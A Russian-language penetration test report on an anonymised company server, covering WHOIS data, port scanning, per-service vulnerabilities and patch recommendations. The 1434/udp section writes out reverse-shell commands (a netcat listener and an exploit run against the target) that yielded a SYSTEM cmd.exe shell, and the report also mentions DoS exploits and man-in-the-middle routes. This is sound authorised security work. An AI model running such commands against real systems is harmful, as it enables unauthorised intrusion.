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1. Информация о сервере
На начальном этапе тестирования взломщик обычно, используя типовые средства такие как WHOIS, пытается собрать как можно больше информации о интересующем его объекте. Эту информацию затем можно использовать для проведения атак с применением технологии социальной инженерии. Данные атаки по условию контракта проведены не были.
Тестируемый сервер (http://www.xxx.ru/) находится в г. Санкт-Петербурге. Это показывает служба WHOIS, используя сервер RIPE-NET.

inetnum:    194.xxx.xxx.xxx - 194.xxx.xxx.xxx

netname:   XXXX

descr:        XXXX

descr:        XXXX

descr:        XXXX

descr:        XXXX

descr:        Russia

country:     RU

admin-c:    XXXX

admin-c:    XXXX

admin-c:    XXXX

tech-c:        XXXX

rev-srv:      XXX.XXX.ru

rev-srv:      XXX.xxx.com

rev-srv:      XXX.xxx.net

status:        XXXX

mnt-by:      XXXX

changed:    xxx@xxx.ru XXXX

source:      RIPE

route:        194.xxx.xxx.xxx/xx

descr:        XXXXX

origin:       XXXXX

notify:       xxx@xxx.net

mnt-by:     XXXX

changed:   XXX@xxx.xxx.spb.ru XXXX

changed:   XXX@xxx.net XXXX

source:       RIPE

person:       XXXXX

address:      XXXX

address:      XXXXX

address:      St.Petersburg

address:      Russia

phone:        XXXX

fax-no:       XXXX

e-mail:       XX@XXX.spb.su

nic-hdl:      XXXX

changed:    XX@XXX.spb.su XXXX

source:       RIPE

person:       XXXX

address:      XXXX

address:      XXXX

address:      St.Petersburg

address:      Russia

phone:        XXXX

fax-no:       XXXX

e-mail:       xxx@xxx.ru

nic-hdl:      XXXX

notify:        xxx@xxx.ru

changed:    xxx@xxx.ru XXXX

changed:    xxx@xxx.net XXXX

source:       RIPE

person:       XXXX

address:      XXXX

address:      XXXX

address:      St.Petersburg

address:      Russia

phone:        XXXX

fax-no:       XXXX

e-mail:       xxx@xxx.ru

nic-hdl:      XXXX

notify:        xxx@xxx.ru

changed:    xxx@xxx.ru XXX

source:       RIPE

Анализ данной информации показывает, что сервер компании находится в ее собственной подсети

2. Результаты тестирования
2.1. Сканирование портов

На втором этапе взломщик, применяя различные, в том числе и сложные (если простые не дают результатов) технологии сканирования портов пытается выявить открытые порты на интересующем его объекте и по которым возможно определение запущенных на объекте сервисов.  

Результаты сканирования портов и обнаруженных сервисов приведены ниже: 

www.xxx.ru (194.xxx.xxx.xxx)

IP адрес компьютера "www.xxx.ru" : 194.xxx.xxx.xxx
Обратный DNS по этому адресу "www.xxx.ru"

Компьютер находится в сети  (TTL = 116) 

Cеть класса  C  (максимальное число компьютеров 254)

Операционная система Windows 2000 Server

TCP порты:

- порт 21/tcp - ftp

  сервер FTP     - передача файлов  

  ra Microsoft FTP Service (Version 5.0).  

статус - открыт

- порт 80/tcp - http

  сервер HTTP  : Microsoft-IIS/5.0  

  состояние  : 302 (Object Moved)

  расположение  :  http://www.xxx.ru/main.html  

  формат содержимого     :  (text/html)

статус - открыт

- порт 135/tcp - loc-srv

  сервис стандарта Win RPC  

  "Win32Services" - Generic Host Process for Win32 Services 

статус – открыт

- порт 139 – Netbios-ssn
статус - отфильтрован

- порт 445/tcp - microsoft-ds

статус - открыт

- порт 1025/tcp - listen

  сервис стандарта Win RPC  

статус - открыт

- порт 1027/tcp 

  сервис стандарта Win RPC  

  "mstask.exe" - Task Scheduler Engine  

статус - открыт

- порт 1033/tcp
  сервис стандарта Win RPC  

  "inetinfo.exe" - Internet Information Services  

статус - открыт

- порт 1433/tcp - ms-sql-s

  сервер MS SQL  - Microsoft SQL Server

статус - открыт

- порт 2301/tcp - compaqdiag
  сервер HTTP  : CompaqHTTPServer/4.1  

статус - открыт

- порт 3052/tcp 
  сервер HTTP  : Acme.Serve/v1.7 of 13nov96  

  состояние  : 401 (Unauthorized)

  аутентификация         :  (Basic realm="PowerChute network shutdown")

статус - открыт

- порт 3372/tcp – сервис не известен

статус - открыт

- порт 3389/tcp - msrdp

  сервис RDP     - Terminal Service Client

статус - открыт

UDP –порты

- порт 135/udp - loc-srv
статус - открыт

- порт 161/udp – snmp
статус - отфильтрован

- порт 162/udp - snmptrap
статус - отфильтрован

- порт 445/udp - microsoft-ds

статус - открыт

- порт 500/udp - isakmp
статус - открыт

- порт 1434/udp - ms-sql-m
статус - открыт

3456/udp - vat
статус - открыт

Отмеченные на данном этапе недостатки системы:

· Определение всех сервисов оказалось возможным, применяя обычный метод SYN сканирования. Соответственно или объект не защищен межсетевым экраном (Firewall) или политика межсетевого экрана  разработана не верно. Хотя, вероятнее всего, в данной системе применяется встроенный в ядро Win 2000 межсетевой экран      

· Факт сканирования портов вероятнее всего не был обнаружен администратором системы: никаких действий по прекращению сканирования со стороны сканируемого объекта предпринято не было   
2.2. Анализ уязвимостей существующих сервисов и рекомендации по их устранению 

На данном этапе взломщик проводит анализ наличия уязвимостей в обнаруженных на объекте сервисах, и в случае нахождения оных, пытается осуществить атаку на данный сервис.   

Далее приводится список с анализом открытых портов и сервисов и существующих в данных версиях сервисов уязвимостей. В том случае, если уязвимость существует, приводится ее краткое описание, ссылки на ее детальное описание, рекомендации по ее устранению, а также, удалось ли на практике использовать данную уязвимость. Уязвимости средней степени важности выделены зеленым цветом. Критичные уязвимости, требующие немедленного устранения, отмечены красным цветом.        

- порт 21/tcp - ftp

  сервер FTP     - передача файлов  

  ra Microsoft FTP Service (Version 5.0).  

Анонимный доступ запрещен 

Уязвимостей на сегодняшний день в данной версии не найдено

Замечание: протокол ftp не предусматривает защиту передаваемых по сети имен пользователей и паролей, поэтому его использование для передачи файлов может привести к перехвату этих данных и компрометации пользователя и последующей атаки на систему  

- порт 80/tcp - http

  сервер HTTP: Microsoft-IIS/5.0

а) Возможность сбора информации о расположении директорий внутри web-сервиса через уязвимость программы ColdFusion, например, http://www.xxx.ru/admin/nul..cfm продемонстрирует расположение папки администратора  на диске сервера: The template specification, 'D:\www\sitex\pub\admin\nul..cfm', is illegal.

Рекомендация: апгрейд версии ColdFusion до 5.0 

б)  Microsoft IIS chunked encoding bug

Атакующий, используя данную уязвимость, может путем переполнения буфера выполнить произвольный код на сервере   

Детальное описание: http://www.microsoft.com/technet/security/bulletin/MS02-018.asp
Решение: Необходима установка патча      

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824 

Реализация атаки: при использовании эксплойта, реализующего данную уязвимость, командной строки получено не было.

Это произошло, так как mysitex с coldfusion'ом ОТРЕЗАЕТ запросы длиннее 4 килобайт.

На переполнение с шеллкодом в первом случае мы получаем ответ в виде его main.html с кодом 200

То есть эта уязвимость присутствует в данной версии IIS', но использовать ее, минуя ColdFusion+MySiTex невозможно.

- порт 135/tcp - loc-srv

  сервис стандарта Win RPC  

  "Win32Services" - Generic Host Process for Win32 Services  

На данную службу возможно осуществление опасной ДОС-атаки с применением стандартных и популярных ДОС-эксплойтов. Атака приводит к «синему экрану» и перезагрузке системы через 1 минуту

Замечание: Маловероятно, что существует необходимость доступа из Internet к данному сервису для обеспечения текущей функциональности системы. Требуется установка межсетевого экрана для закрытия доступа к данному порту из Internet

- порт 139 – Netbios-ssn

Уязвимостей не обнаружено

Замечание: Отсутствует необходимость доступа из Internet к данному сервису для обеспечения текущей функциональности системы. Требуется установка межсетевого экрана для закрытия доступа к данному порту из Internet
- порт 445/tcp - microsoft-ds

NetBIOS-имя скомпьютера “ra”.

На данную службу возможно осуществление опасной ДОС-атаки с применением стандартных и популярных ДОС-эксплойтов. Атака работает, начиная с SP (2). Приводит систему к зависанию системы («синий экран»).

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 1025/tcp - listen
  сервис стандарта Win RPC  

Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Маловероятно, что существует необходимость доступа из Internet к данному сервису для обеспечения текущей функциональности системы. Требуется установка межсетевого экрана для закрытия доступа к данному порту из Internet
- порт 1027/tcp - unknown
  сервис стандарта Win RPC  

  "mstask.exe" - Task Scheduler Engine  
Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 1033/tcp - unknown
  сервис стандарта Win RPC  

  "inetinfo.exe" - Internet Information Services
Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 1433/tcp - ms-sql-s

  сервер MS SQL  - Microsoft SQL Server
Доступ пользователю по умолчанию запрещен

Уязвимость: командная строка с правами SYSTEM

Microsoft SQL server подвержен переполнению буфера при посылки ему Hello пакета неправильной длинны. Вследствие чего, атакующий может удаленно выполнить произвольную команду с правами LOCAL/SYSTEM.

Детальное описание: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms01-023.asp
Решение: Необходима установка патча.

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321      

Реализация атаки: при использовании эксплойта, реализующего данную уязвимость, командной строки получено не было. 
Реализация атаки практически не возможна, так как беспарольные безсессионные транзакции на 1433/tcp в MSSQL не разрешены. В этом можно убедиться, если опрашивать 1434/udp, там описаны некоторые правила и точная версия MSSQL,  в частности.

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 2301/tcp - compaqdiag

  сервер HTTP: CompaqHTTPServer/4.1 

Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 3052/tcp
  сервер HTTP: Acme.Serve/v1.7 of 13nov96  

  аутентификация:  (Basic realm="PowerChute network shutdown")

Сервис управления через при помощи Web-интерфейса бесперебойным блоком питания компании APC
Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране.

- порт 3372/tcp
Функциональность данного сервиса в процессе работы осталась не выяснена

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 3389/tcp - msrdp
  сервис RDP     - Terminal Service Client
Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 135/udp - loc-srv
Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 161/udp – snmp
Уязвимостей на сегодняшний день в данной версии не обнаружено

Подбор паролей результатов не принес 

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 162/udp - snmptrap
Уязвимостей на сегодняшний день в данной версии не обнаружено

Подбор паролей результатов не принес 

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 445/udp - microsoft-ds
Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 500/udp - isakmp
На данную службу возможно осуществление опасной ДОС-атаки с применением стандартных и популярных ДОС-эксплойтов. Атака приводит к CPU/RAM Utilization.

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

- порт 1434/udp - ms-sql-m
Возможность получения полного контроля над 194.xxx.xxx.xxx через уязвимый сервис 1434/udp (ms-sql-m) через переполнение буфера этого сервиса и внедрения исполняемого кода. Файл с специально разработанным собственным эксплойтом прилагается к отчету (в электронном виде).

Описание успешно проведенной атаки.

Экплойт ассоциирует оболочку cmd.exe сервера 194.xxx.xxx.xxxx с указанной парой IP-адреса/TCP-порта.

Эксплойтная программа имеет три вида внедряемого исполняемого кода, скомпилированных под удалённые service pack'и 0, 1 и 2 соответственно, и срабатывает на 194.xxx.xxx.xxx при выборе нулевого service pack'а.

В процессе атаки был открыт порт для ассоциации с удалённым cmd.exe на собственном компьютере: nc -l -p 53 -n и запущена эксплойтная программа: sql2.exe www.xxx.ru 212.xxx.xxx.xxx 53 0 и через некоторое время было получено приглашение от баннера cmd.exe следующего вида:

Microsoft Windows 2000 [Версия 5.00.2195]

(С) Корпорация Майкрософт, 1985-2000.

C:\WINNT\System32\>

- порт 3456/udp - vat
Уязвимостей на сегодняшний день в данной версии не обнаружено

Замечание: Доступа из Internet к данному сервису для обеспечения текущей функциональности системы вероятно не требуется. Необходима установка межсетевого экрана для закрытия доступа к данному порту из Internet путем фильтрации на межсетевом экране

3. Вывод

На www.xxx.ru установлено следующее основное ПО:

· Win2000

· IIS 5.0

· SP(1) 

· ColdFusion 4.5/5.0

· MS SQL 8.0

Основные защитные функции реализуются при помощи:

1. Фильтрации при помощи встроенного в ядро межсетевого экрана

2. IDS Snort, установленной на relay.xxx.ru 

Результаты данной работы показывают, что существующее программное обеспечение сервера http://www.xxx.ru содержит ряд серьезных уязвимостей, которые могут как позволить атакующему осуществить несанкционированное проникновение на сервер (порт 1434/udp - ms-sql-m), так и осуществить атаки, связанные с отказом в обслуживании (порт 135/tcp (microsoft rpc), 445/tcp (microsoft ds), порт 1433/tcp - ms-sql-s, порт 80/tcp – http и, особенно, порт 500/udp (isakmp)).

В результате тестов удалось реализовать атаку на порт 1434/udp - ms-sql-m и получить полный доступ с правами администратора. 
Попытки использовать другие уязвимости в процессе тестирования не привели к получению доступа к серверу. 

Атаки, связанные с отказом в обслуживании, согласно контракту не проводились. Они проводились на таком же ПО, установленном в тестовых целях на собственной в системе и их работоспособность была полностью подтверждена.

Отметим, что значительно проще атаковать сервер http://www.xxx.ru не напрямую, «в лоб», а, например, атаковав объекты из этой же подсети, организовав затем атаку MenInTheMiddle и, например, перехватив пароли доступа администраторов сервера http://www.xxx.ru. Однако, эта работа согласно контракту проведена не была, хотя обычно в жизни взломщики действуют именно по такой технологии, взламывая плохо защищенные соседние серверы и через них получая доступ к хорошо защищенной от лобовой атаки основной цели.

Отметим, что минимальный поверхностный взгляд на корпоративную сеть компании XXX выявил серьезные недостатки и рекомендуется провести тесты на проникновение в корпоративную сеть XXX для подробного анализа возможностей получения НСД.  

Основные результаты, полученные в ходе выполнения данной работы по выявлению слабых мест в системе защиты сервера http://www.xxx.ru:

1. Осуществлен успешный взлом системы через SQL сервер – порт 1434/udp  – эксплойт прилагается к отчету

2. Обнаружены серьезные уязвимости в службах 135/tcp (microsoft rpc), 445/tcp (microsoft ds) и, особенно, 500/udp (isakmp), что может привести к отказу в обслуживании

3. Обнаружены уязвимости в используемой версии Web –сервера и SQL –сервера, что теоретически может привести к несанкционированному проникновению или отказу в обслуживании (в данной конфигурации использование данных уязвимостей невозможно)

4. Использование ftp-сервера, пароли доступа которого передаются в открытом виде, может привести к компрометации пользователей и последующему взлому системы 

5. Отсутствует разработанная и внедренная на практике политика безопасности по защите ресурса от внешнего проникновения из  Internet
6. Действия по тестам на проникновение в сервер, вероятно, не были обнаружены администратором – по крайней мере, никаких ответных действий не последовало. 

7. http://www.xxx.ru/persons.html - на данной странице имеется полная контактная информация о персонале компании, включая топ-менеджеров, что может с большой долей вероятности привести к успеху атаки с применением социальной инженерии (рассылка трояна от имени топ-менеджера). Проведение данных атак выходило за рамки контракта (как атаки с использованием социальной инженерии, так и атаки на всю корпоративную сеть компании XXX в целом)

   Основные рекомендации по повышению текущего уровня защищенности ресурса http://www.xxx.ru и по устранению найденных уязвимостей:

1. Требуется немедленно закрыть из Internet порт 1434/udp 

2. Требуется установить патчи на используемое программное обеспечение WEB и SQL сервера: 
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321      

3. Провести апгрейд текущей версии Cold Fusion до 5.0

4. Отказаться от ftp-сервиса при доступе из Internet 

5. Отказаться от snmp-сервиса при доступе из Internet
6. Установить последний ServicePack (3)
7. Обеспечить фильтрацию портов из Internet

8. Обеспечить мониторинг системы в режиме реального времени для своевременного обнаружения вторжений из Internet (перейти от Snort к системе обнаружения атак, действующей в связке с межсетевым экраном)

9. Разработать политику безопасности для защиты ресурса от внешних воздействий, включая организационно-технические меры защиты

10. Разработать и внедрить план защиты, включая установку и настройку:

· Внешнего межсетевого экрана

· Системы обнаружения атак, действующей в связке с межсетевым экраном

Данные средства сетевой защиты, применяемые в едином комплексе, позволят запретить доступ из Internet к сервисам и обнаруживать и отражать удаленные атаки из Internet в режиме реального времени       

11. Провести тесты на проникновение из Internet в корпоративную сеть компании XXX в целом, в том числе с использованием социальной инженерии

12. Провести полный внутренний аудит угроз безопасности информационной системы с разработкой предложений по повышению текущего уровня защищенности и создания проекта защиты информационной системы
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